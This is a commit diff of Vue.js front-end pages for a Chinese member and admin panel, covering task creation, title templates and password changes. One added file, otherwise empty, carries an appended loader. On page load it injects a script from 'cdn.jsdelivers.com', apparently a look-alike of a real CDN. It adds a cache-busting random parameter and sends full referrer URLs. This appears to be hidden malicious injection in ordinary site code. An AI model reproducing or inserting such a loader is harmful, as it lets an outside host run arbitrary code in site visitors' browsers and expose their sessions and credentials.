init:function(){
|
||||
|
||||
},
|
||||
sub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: "/member/createtask",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
//this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
keycount:function(){
|
||||
var key=this.one.key.split("\n");
|
||||
var newkey=[];
|
||||
for(var i=0;i<key.length;i++){
|
||||
if(key[i]){
|
||||
newkey.push(key[i])
|
||||
}
|
||||
}
|
||||
|
||||
return newkey.length;
|
||||
},
|
||||
getalltemplates:function(){
|
||||
$.ajax({
|
||||
url: "/member/tp",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.templates=data.templates;
|
||||
this.types=data.types
|
||||
}.bind(this),
|
||||
error:function(err){ }.bind(this)
|
||||
});
|
||||
},
|
||||
addtitle:function(type){
|
||||
var o={
|
||||
type:type,
|
||||
con:''
|
||||
}
|
||||
switch(type){
|
||||
case "key":
|
||||
o.con="key";
|
||||
break;
|
||||
case "dynamic":
|
||||
o.con="dynamic";
|
||||
break;
|
||||
case "_":
|
||||
o.con="_";
|
||||
break;
|
||||
case "-":
|
||||
o.con="-";
|
||||
break;
|
||||
case "input":
|
||||
o.con="";
|
||||
break;
|
||||
case "sitename":
|
||||
o.con="网站名称";
|
||||
break;
|
||||
case "title":
|
||||
o.con="文章标题";
|
||||
break;
|
||||
}
|
||||
this.one.title.push(o);
|
||||
},
|
||||
deltitle:function(index){
|
||||
this.one.title.splice(index,1)
|
||||
},
|
||||
delkey:function(tag){
|
||||
this.one.key.splice(this.one.key.indexOf(tag),1);
|
||||
},
|
||||
showonekeyinput:function(){
|
||||
this.onekeyinputIsshow = true;
|
||||
this.$nextTick(_ => {
|
||||
this.$refs.saveTagInput.$refs.input.focus();
|
||||
});
|
||||
},
|
||||
hideonekeyinput:function(){
|
||||
let onekeyvalue = this.onekeyvalue;
|
||||
if (onekeyvalue) {
|
||||
this.one.key.push(onekeyvalue);
|
||||
}
|
||||
this.onekeyinputIsshow = false;
|
||||
this.onekeyvalue = '';
|
||||
},
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,46 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23"
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"802",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23"
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
old:old,
|
||||
newp:newp,
|
||||
renewp:renewp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/member/uppassto",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/member/loginout";
|
||||
}, 1500)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
//this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,56 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"101",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23"
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
Reference in New Issue
Block a user